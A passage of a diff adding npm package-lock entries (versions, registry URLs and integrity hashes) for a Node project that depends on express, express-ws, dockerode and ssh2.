"node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + }, + "node_modules/serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/split-ca": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, + "node_modules/ssh2": { + "version": "0.8.9", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", + "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "dependencies": { + "ssh2-streams": "~0.4.10" + }, + "engines": { + "node": ">=5.2.0" + } + }, + "node_modules/ssh2-streams": { + "version": "0.4.10", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", + "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "dependencies": { + "asn1": "~0.2.0", + "bcrypt-pbkdf": "^1.0.2", + "streamsearch": "~0.1.2" + }, + "engines": { + "node": ">=5.2.0" + } + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/tar-fs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.0.1.tgz", + "integrity": "sha512-6tzWDMeroL87uF/+lin46k+Q+46rAJ0SyPGz7OW7wTgblI273hsBqk2C1j0/xNadNLKDTUL9BukSjB7cwgmlPA==", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.0.0" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tslog": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/tslog/-/tslog-3.0.5.tgz", + "integrity": "sha512-WyI2zFa6rVzXja6bKIZ9VeRKwHceqlUzCCo2IMsi6X5oswij95s3GJKve1Pr5bdlVIUMTsWaT/wtBiL7MT4PLQ==", + "dependencies": { + "source-map-support": "^0.5.19" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "node_modules/ws": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.2.tgz", + "integrity": "sha512-T4tewALS3+qsrpGI/8dqNMLIVdq/g/85U98HPMa6F0m6xTbvhXU6RCQLqPH3+SlomNV/LdY6RXEbBpMH6EOJnA==", + "engines": { + "node": ">=8.3.0" + } + } + }, + "dependencies": { + "@types/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-W98JrE0j2K78swW4ukqMleo8R7h/pFETjM2DQ90MF6XK2i4LO4W3gQ71Lt4w3bfm2EvVSyWHplECvB5sK22yFQ==", + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.34", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.34.tgz", + "integrity": "sha512-ePPA/JuI+X0vb+gSWlPKOY0NdNAie/rPUqX2GUPpbZwiKTkSPhjXWuee47E4MtE54QVzGCQMQkAL6JhV2E1+cQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/dockerode": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/dockerode/-/dockerode-3.2.2.tgz", + "integrity": "sha512-YtdVvc+WmxShwx0iBmn0AtiLL2Zbcak9gXqdeBp0UpiRyOcshZM0eVTOEkUKd4mIjHzSEpA+1P3lXb7ouYvDtQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/express": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.11.tgz", + "integrity": "sha512-no+R6rW60JEc59977wIxreQVsIEOAYwgCqldrA/vkpCnbD7MqTefO97lmoBe4WE0F156bC4uLSP1XHDOySnChg==", + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.18", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.18.tgz", + "integrity": "sha512-m4JTwx5RUBNZvky/JJ8swEJPKFd8si08pPF2PfizYjGZOKr/svUWPcoUmLow6MmPzhasphB7gSTINY67xn3JNA==", + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "@types/express-ws": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/express-ws/-/express-ws-3.0.0.tgz", + "integrity": "sha512-GxsWec7Vp6h7sJuK0PwnZHeXNZnOwQn8kHAbCfvii66it5jXHTWzSg5cgHVtESwJfBLOe9SJ5wmM7C6gsDoyQw==", + "requires": { + "@types/express": "*", + "@types/express-serve-static-core": "*", + "@types/ws": "*" + } + }, + "@types/mime": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-2.0.3.tgz", + "integrity": "sha512-Jus9s4CDbqwocc5pOAnh8ShfrnMcPHuJYzVcSUU7lrh8Ni5HuIqX3oilL86p3dlTrk0LzHRCgA/GQ7uNCw6l2Q==" + }, + "@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==" + }, + "@types/qs": { + "version": "6.9.5", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.5.tgz", + "integrity": "sha512-/JHkVHtx/REVG0VVToGRGH2+23hsYLHdyG+GrvoUGlGAd0ErauXDyvHtRI/7H7mzLm+tBCKA7pfcpkQ1lf58iQ==" + }, + "@types/range-parser": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.3.tgz", + "integrity": "sha512-ewFXqrQHlFsgc09MK5jP5iR7vumV/BYayNC6PgJO2LPe8vrnNFyjQjSppfEngITi0qvfKtzFvgKymGheFM9UOA==" + }, + "@types/serve-static": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.8.tgz", + "integrity": "sha512-MoJhSQreaVoL+/hurAZzIm8wafFR6ajiTM1m4A0kv6AGeVBl4r4pOV8bGFrjjq1sGxDTnCoF8i22o0/aE5XCyA==", + "requires": { + "@types/mime": "*", + "@types/node": "*" + } + }, + "@types/ws": { + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-7.4.0.tgz", + "integrity": "sha512-Y29uQ3Uy+58bZrFLhX36hcI3Np37nqWE7ky5tjiDoy1GDZnIwVxS0CgF+s+1bXMzjKBFy+fqaRfb708iNzdinw==", + "requires": { + "@types/node": "*" + } + }, + "accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "requires": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", + "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "requires": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "requires": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + }, + "bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "requires": { + "ms": "2.1.2" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "docker-modem": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.4.tgz", + "integrity": "sha512-vDTzZjjO1sXMY7m0xKjGdFMMZL7vIUerkC3G4l6rnrpOET2M6AOufM8ajmQoOB+6RfSn6I/dlikCUq/Y91Q1sQ==", + "requires": { + "debug": "^4.1.1", + "readable-stream": "^3.5.0", + "split-ca": "^1.0.1", + "ssh2": "^0.8.7" + } + }, + "dockerode": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/dockerode/-/dockerode-3.2.1.tgz", + "integrity": "sha512-XsSVB5Wu5HWMg1aelV5hFSqFJaKS5x1aiV/+sT7YOzOq1IRl49I/UwV8Pe4x6t0iF9kiGkWu5jwfvbkcFVupBw==", + "requires": { + "docker-modem": "^2.1.0", + "tar-fs": "~2.0.1" + } + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "requires": { + "once": "^1.4.0" + } + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "requires": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "express-ws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/express-ws/-/express-ws-4.0.0.tgz", + "integrity": "sha512-KEyUw8AwRET2iFjFsI1EJQrJ/fHeGiJtgpYgEWG3yDv4l/To/m3a2GaYfeGyB3lsWdvbesjF5XCMx+SVBgAAYw==", + "requires": { + "ws": "^5.2.0" + }, + "dependencies": { + "ws": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz", + "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==", + "requires": { + "async-limiter": "~1.0.0" + } + } + } + }, + "finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + }, + "dependencies": { + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + } + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==" + }, + "mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": 